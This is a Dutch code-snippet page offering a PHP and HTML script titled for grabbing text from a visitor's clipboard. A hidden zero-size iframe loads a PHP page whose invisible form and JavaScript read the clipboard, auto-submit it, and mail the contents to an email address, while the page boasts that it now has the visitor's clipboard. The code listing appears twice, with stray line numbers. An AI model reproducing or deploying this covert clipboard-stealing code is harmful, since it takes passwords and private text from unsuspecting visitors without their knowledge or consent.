tekst-van-clipboard-halen
Gesponsorde koppelingen
PHP script bestanden
//BESTAND TEST.HTML
<html>
<body>
Hallo. Nu heb ik de inhoud van jouw clipboard!
<hr>
<iframe width="0" height="0" src="getclipboard.php"></iframe>
</body>
</html>
//BESTAND GETCLIPBOARD.PHP
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if (isset($_POST['myclipboard']))
{
$myclipboard = stripslashes($_POST['myclipboard']);
$header = "From: [email protected]\n";
mail("[email protected]", "Clipboard Notificatie", "$myclipboard", $header);
}
else
{
echo "<FORM name=\"hf\" METHOD=POST ACTION=\"getclipboard.php\" style=\"display:none\">";
echo "<INPUT TYPE=\"text\" NAME=\"myclipboard\">";
echo "<INPUT TYPE=\"submit\">";
echo "</FORM>";
echo "<script language=\"javascript\">";
echo "var content = clipboardData.getData(\"Text\");";
echo "document.forms[\"hf\"].elements[\"myclipboard\"].value = content;";
echo "document.forms[\"hf\"].submit();";
echo "</script>";
}
?>
if (isset($_POST['myclipboard']))
{
$myclipboard = stripslashes($_POST['myclipboard']);
$header = "From: [email protected]\n";
mail("[email protected]", "Clipboard Notificatie", "$myclipboard", $header);
}
else
{
echo "<FORM name=\"hf\" METHOD=POST ACTION=\"getclipboard.php\" style=\"display:none\">";
echo "<INPUT TYPE=\"text\" NAME=\"myclipboard\">";
echo "<INPUT TYPE=\"submit\">";
echo "</FORM>";
echo "<script language=\"javascript\">";
echo "var content = clipboardData.getData(\"Text\");";
echo "document.forms[\"hf\"].elements[\"myclipboard\"].value = content;";
echo "document.forms[\"hf\"].submit();";
echo "</script>";
}
?>